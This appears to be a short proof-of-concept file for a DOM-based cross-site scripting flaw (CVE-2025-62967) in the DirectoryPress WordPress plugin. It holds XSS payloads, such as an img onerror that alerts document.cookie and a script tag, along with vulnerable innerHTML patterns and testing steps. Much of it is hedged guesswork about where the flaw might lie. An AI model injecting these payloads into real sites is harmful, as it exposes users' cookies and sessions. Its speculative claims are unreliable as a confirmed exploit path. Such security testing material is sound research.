CVE-2025-62967

// CVE-2025-62967 DOM-Based XSS PoC for DirectoryPress // This PoC demonstrates how an attacker can inject malicious JavaScript // through the DirectoryPress plugin's vulnerable DOM manipulation // Method 1: Through URL parameters (if the plugin reads from URL) // Attacker crafts a URL with malicious payload: const maliciousURL = 'https://target-site.com/?search=<img src=x onerror=alert(document.cookie)>'; // Method 2: If there's a search/filter functionality // The plugin may directly write user input to DOM without sanitization const pocPayload = '<script>alert("XSS - CVE-2025-62967")</script>'; const pocPayload2 = '<img src=x onerror=alert(document.cookie)>'; const pocPayload3 = 'javascript:alert(document.domain)'; // Method 3: DOM-based attack via location.hash or location.search // Example: Plugin code might have vulnerable pattern like: // element.innerHTML = location.hash; // Vulnerable! // element.innerHTML = document.getElementById('userInput').value; // Vulnerable! // To test, inject via browser console or manipulate URL: console.log('PoC for CVE-2025-62967: DirectoryPress DOM XSS'); console.log('Payload example: <img src=x onerror=alert(document.cookie)>'); // Recommended testing steps: // 1. Install DirectoryPress <= 3.6.25 // 2. Identify input fields (search, filters, etc.) // 3. Inject the XSS payload // 4. Observe if payload executes without sanitization
